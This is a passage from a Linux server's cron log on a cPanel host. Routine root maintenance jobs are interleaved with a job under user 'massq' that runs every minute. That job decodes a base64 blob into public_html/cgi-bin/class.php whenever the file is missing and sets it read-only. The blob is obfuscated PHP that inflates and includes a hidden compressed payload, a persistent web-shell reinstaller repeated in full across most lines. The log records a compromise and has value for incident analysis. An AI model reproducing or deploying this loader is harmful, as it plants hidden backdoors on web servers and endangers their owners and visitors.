R4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:50:01 server CROND[23760]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 11:50:01 server CROND[23761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:50:01 server CROND[23763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:50:01 server CROND[23762]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 11:50:01 server CROND[23764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:51:01 server CROND[23874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:52:01 server CROND[23953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:53:01 server CROND[24098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:54:01 server CROND[24164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:55:01 server CROND[24238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:55:01 server CROND[24237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:55:01 server CROND[24239]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:56:01 server CROND[24350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:57:01 server CROND[24409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:57:01 server CROND[24410]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 11:58:01 server CROND[24562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:59:01 server CROND[24617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:00:01 server CROND[24694]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 12:00:01 server CROND[24695]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  6 12:00:01 server CROND[24699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:00:01 server CROND[24701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:00:01 server CROND[24700]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Apr  6 12:00:01 server CROND[24705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:01:01 server CROND[24833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:01:01 server CROND[24834]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 12:01:01 server run-parts(/etc/cron.hourly)[24834]: starting 0anacron
Apr  6 12:01:01 server run-parts(/etc/cron.hourly)[24846]: finished 0anacron
Apr  6 12:02:01 server CROND[24913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
